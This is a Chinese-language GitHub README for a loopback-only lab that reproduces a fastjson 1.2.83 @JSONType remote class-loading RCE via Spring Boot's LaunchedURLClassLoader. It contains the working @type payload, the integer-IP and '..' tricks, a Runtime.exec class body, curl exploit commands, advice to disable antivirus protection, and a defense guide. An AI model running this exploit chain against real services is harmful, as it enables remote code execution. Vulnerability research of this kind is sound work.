fzypl/Fastjson-JsonType-RCE-Demo
GitHub: fzypl/Fastjson-JsonType-RCE-Demo
这是一个用于在本地复现和研究 fastjson `@JSONType` 注解探测机制导致的远程代码执行漏洞的实验环境与 PoC。
Stars: 0 | Forks: 0
# fastjson `@JSONType` jar: URL RCE — 本地实验环境
这是一个独立且仅限于本地回环的复现环境,针对 fastjson
`ParserConfig.checkAutoType` `@JSONType` 探测漏洞。该漏洞通过 Spring Boot 的
`LaunchedURLClassLoader`,将精心构造的 `@type` 值转化为远程类加载。
已在 JDK 8 环境下通过 `cmd.exe /c calc` payload 完成端到端验证(计算器窗口会从 vuln-app JVM 中弹出)。
## TL;DR
```
# Terminal 1 — 启动漏洞目标
cd vuln-app
export JDK8=/e/software/jdk/jdk1.8.0_431
JAVA_HOME=$JDK8 PATH=$JDK8/bin:$PATH /e/software/maven/apache-maven-3.9.2/bin/mvn clean package -DskipTests
$JDK8/bin/java.exe -jar target/fastjson-jsontype-vuln-app.jar
# Terminal 2 — 运行 PoC
cd poc
./run-poc.sh
# → 几秒内 vuln-app 主机上会弹出 calc(RCE 证明)
```
如果你的 Windows Defender 处于开启状态,它会将 `evil.jar` 隔离(因为它匹配到了
`Runtime.exec` payload 的特征)。你需要将此实验目录添加到 Defender 的排除列表中,
或者在测试期间暂时关闭实时保护。
## 本实验包含的内容
```
fastjson-jsontype-lab/
├── README.md (this file)
├── vuln-app/ Spring Boot 2.7.18 + fastjson 1.2.83 FatJar target
│ ├── pom.xml
│ └── src/main/
│ ├── java/com/lab/vuln/
│ │ ├── VulnApplication.java
│ │ ├── LaunchedClassLoaderInitializer.java ← the trigger wiring
│ │ ├── ParseController.java (/info /parse /parse-async /check)
│ │ └── AsyncParser.java (worker thread, RCE lane)
│ └── resources/application.properties (127.0.0.1:8081)
└── poc/
├── GenPayload.java ASM generator: jar:URL-named class + calc
├── payload.json the @type payload (uses integer IP 2130706433)
├── build-malicious-jar.sh compiles Gen + generates evil.jar via java.util.zip
├── serve-jar.sh serves /evil -> evil.jar on 127.0.0.1:18080
└── run-poc.sh one-shot driver (build → serve → exploit → report)
```
## 漏洞利用工作原理
### Payload
```
{"@type":"jar:http:..2130706433:18080.evil!.Exploit","x":1}
```
有两个不那么显而易见的细节:
- **`2130706433`** 是以单个十进制整数表示的 `127.0.0.1`。
点分形式的 `127.0.0.1` 是**不**起作用的——请参阅下文的“为何使用整数 IP”。
- **`..`** 是将看似类名的字符串重新构造为 URL 的关键技巧。fastjson 的 `@JSONType` 探测会执行
`typeName.replace('.', '/') + ".class"`,这会把 `..` 变成 `//`:
jar:http:..2130706433:18080.evil!.Exploit
-> jar:http://2130706433:18080/evil!/Exploit.class
### 探测机制
`ParserConfig.checkAutoType` 会运行一条 `@JSONType` “探测”路径,即使
在全局禁用 AutoType 时该路径也是可达的(探测机制是一个信任通道)。
探测机制会如上所述重构资源名称,并向配置的
`defaultClassLoader` 请求将其作为流进行获取:
```
String resource = typeName.replace('.', '/') + ".class";
InputStream is = defaultClassLoader.getResourceAsStream(resource);
// then: ClassReader -> TypeCollector.hasJsonType()
// then: TypeUtils.loadClass(typeName, defaultClassLoader, true)
```
当 `defaultClassLoader` 是 Spring Boot 的 `LaunchedURLClassLoader` 时,
`getResourceAsStream` 实际上会将 `jar:http://...!/...class` 视为
真实的嵌套 jar URL,并**发起 HTTP GET 请求**来获取它。
### 触发机制装配 (`LaunchedClassLoaderInitializer`)
仅靠普通的“在 Spring Boot FatJar 内部运行”设置本身是**不够的**。
探测机制使用的是 `ParserConfig.defaultClassLoader`,默认情况下它是
任何调用 `JSON.parse` 的线程的上下文类加载器——而在 Tomcat 的
请求线程上,这并不是正确的加载器。上游研究的测试平台
(原始 PoC 仓库中的 Test2)通过显式执行以下操作使整个利用链生效:
1. 构建一个 URL 数组指向 FatJar 的 `LaunchedURLClassLoader`
(`LaunchedClassLoaderInitializer` 通过反射实现这一点)。
2. 调用 `ParserConfig.getGlobalInstance().setDefaultClassLoader(thatLoader)`。
这模拟了真实的触发条件(应用程序使用支持 jar URL 的加载器调用
`setDefaultClassLoader`),也正是这一点使得探测机制能够真正获取并 defineClass 远程类。
### 恶意类
`GenPayload.java` 使用 ASM 生成一个类,其字节码内部名称
确切为 `jar:http://2130706433:18080/evil!/Exploit`(无法通过 Java 源码编写),并带有一个运行时可见的 `@JSONType` 注解。它的 ``:
```
System.out.println("REMOTE RCE EXECUTED (cmd launched from remote class)");
Runtime.getRuntime().exec("cmd.exe /c calc");
```
当 fastjson 对获取到的字节执行 `defineClass` 并初始化该类时,
`` 会在 vuln-app JVM 内部运行 → 计算器弹出。
## 为何使用整数 IP
fastjson 的探测机制会执行 `typeName.replace('.', '/')`。像
`127.0.0.1` 这样的点分 IP 会变成 `127/0/0/1`,这会破坏 URL 的主机部分,并导致
重构后的资源名称无法解析——探测机制返回 null,
`checkAutoType` 随后落入拒绝哈希(deny-hash)校验,抛出
`autoType is not support`。整数形式 `2130706433` 没有点号,能够在
替换操作中保留下来,并在 HTTP 层解析为回环地址。
这也是为什么 README 的防御指南建议对 `@type` 值中的
整数形式 IP 字面量进行告警的原因。
## 为什么有两个端点
| Endpoint | 线程 | 行为 |
| --- | --- | --- |
| `POST /parse` | Tomcat 请求线程 | 探测机制仍然会运行(它使用的是 `defaultClassLoader`,而不是线程的 TCCL),因此 jar 仍然会被获取——但在这个线程上,类定义阶段通常无法完成。可用于演示 SSRF 部分。 |
| `POST /parse-async` | 启动时创建的工作线程 | 完整的 RCE —— 类被成功定义并且 `` 运行,计算器弹出。 |
| `POST /check` | (任意) | 绕过 JSON 解析器并直接使用原始类型名称调用 `checkAutoType`。这是最清晰的展示探测机制的单独演示。 |
| `GET /info` | (任意) | 诊断信息:线程、TCCL、`parserConfigClassLoader`、`parserConfigDefaultClassLoader`、`autoTypeSupport`。 |
## 为什么使用 JDK 8
JDK 9+ 收紧了 `defineClass` 的类名校验,并会拒绝
`jar:http://…!/Exploit` 这样的内部名称,因此利用链会停在 SSRF 步骤。
JDK 8 的验证器接受这些字节——这正是 RCE 能够成功的原因。
## 前置条件
- **JDK 8**。本实验假设路径为 `/e/software/jdk/jdk1.8.0_431`;可以通过
`JDK8` 环境变量覆盖。
- **Maven**。在本机上为:`/e/software/maven/apache-maven-3.9.2/bin/mvn`。
- **curl**、**python**(需要 3.7+ 以支持 `http.server --directory`)、**bash**。
- 如果你希望默认的 `cmd.exe /c calc` payload 可见,则需要 **Windows** 主机。
对于其他操作系统,请在运行 GenPayload 时传入 `-Dpoc.cmd=...` 并
重新构建 evil.jar。
- 如果你的防病毒软件对 `Runtime.exec` payload 进行了特征匹配(Windows Defender 就会如此),请为该实验目录添加**防病毒例外**。
## 手动操作步骤
```
cd poc
./build-malicious-jar.sh
./serve-jar.sh & # background; serves 127.0.0.1:18080/evil
SERVE_PID=$!
# SSRF 演示路径(会获取 jar,但此处通常不会定义 class):
curl -X POST http://127.0.0.1:8081/parse \
-H 'Content-Type: application/json' \
-d @payload.json
# 完整 RCE 路径(vuln-app 主机上应该会弹出 calc):
curl -X POST http://127.0.0.1:8081/parse-async \
-H 'Content-Type: application/json' \
-d @payload.json
# 直接演示 checkAutoType:
curl -X POST http://127.0.0.1:8081/check \
-H 'Content-Type: text/plain' \
-d 'jar:http:..2130706433:18080.evil!.Exploit'
kill $SERVE_PID
```
成功访问 `/parse-async` 的标志:
- curl 响应正文中包含
`"resultClass":"jar:http:..2130706433:18080.evil!.Exploit"` —— fastjson
已将请求反序列化为远程类的实例。
- jar 服务器日志显示有两行 `GET /evil` 记录(一次用于探测机制的
`getResourceAsStream`,另一次用于随后的 `loadClass`)。
- vuln-app 控制台输出 `REMOTE RCE EXECUTED`。
- 在 vuln-app 主机上有一个 `CalculatorApp` 进程正在运行,该进程是在
POST 请求发出时启动的。
## 检查精心构造的类
```
$JDK8/bin/javap.exe -v -p poc/build/Exploit.class | head -30
# this_class 应该显示:"jar:http://2130706433:18080/evil!/Exploit"
```
(存放在 `build/` 而不是 `crafted/` 中,是因为 `GenPayload` 直接通过
`java.util.zip` 写入 jar,绕过了外部的 `jar` 工具——某些防病毒软件会
在生成和打包期间拦截对精心构造的 `.class` 文件的读取。)
## 防御指南
1. 启用 fastjson SafeMode:`-Dfastjson.parser.safeMode=true`。
2. 迁移至 **fastjson2** 并在不受信任的 JSON 路径中移除 fastjson 1.x。
3. 尽可能在 **JDK 9+** 上运行——这会阻断类定义阶段(SSRF
仍需单独缓解)。
4. 实施严格的出站流量限制,防止应用程序 runtime 获取任意的 HTTP 资源。
5. 对包含 `jar:`、`!`、`..` URL 重构模式或整数形式 IP 字面量(例如 `2130706433`)的 `@type` 值进行告警。
6. 审计 `ParserConfig.setDefaultClassLoader(...)` 的调用点——避免使用会将攻击者控制的资源名称解析为 URL 的类加载器。
## 故障排除
- **PoC 提示目标无响应**:请先启动 `vuln-app`(终端 1)。
- **出现 `autoType is not support` 错误,且没有弹出计算器**:你很可能在 payload/内部名称中使用了点分 IP(`127.0.0.1`)。探测机制的
`replace('.','/')` 破坏了它。请使用整数形式 `2130706433`。
- **evil.jar 为空 / 被防病毒软件隔离**:`Runtime.exec` 字节码被特征
匹配。请将此实验目录添加到你的防病毒排除列表中,或者
暂时禁用实时保护,然后重新运行
`build-malicious-jar.sh`。
- **`/parse` 获取了 jar 但没有弹出计算器**:这在请求
线程上是正常的。请使用 `/parse-async` 进行完整的 RCE 演示。
- **在非 Windows 主机上计算器没有弹出**:请使用不同的命令重新生成类,例如
`java -Dpoc.cmd="touch /tmp/RCE_PROOF" GenPayload ...`,并重新构建 evil.jar。
- **`serve-jar.sh` 报错 "address already in use"**:之前的一次运行仍
绑定在 :18080 端口。请将其 `kill` 掉或更改 `POC_PORT`(并更新
`payload.json` 和 `GenPayload` 的内部名称以保持一致)。
## 参考
- fastjson `ParserConfig.checkAutoType`,发生 `typeName.replace('.', '/')`
重构的 `@JSONType` 探测代码块。
- Spring Boot `org.springframework.boot.loader.jar.Handler#parseURL`,与普通 JDK classpath 处理方式不同的嵌套 jar URL 处理机制。
- 在 fastjson 1.2.66 中引入并一直存在至 1.2.83 的 `@JSONType` 探测行为。
- 原始研究平台:
(本实验的 `LaunchedClassLoaderInitializer` 模拟了其中的 `Test2.java`)。
标签:Fastjson, GHAS, Java安全, JS文件枚举, RCE, 域名枚举, 应用安全, 数据展示, 漏洞复现, 红队, 逆向工具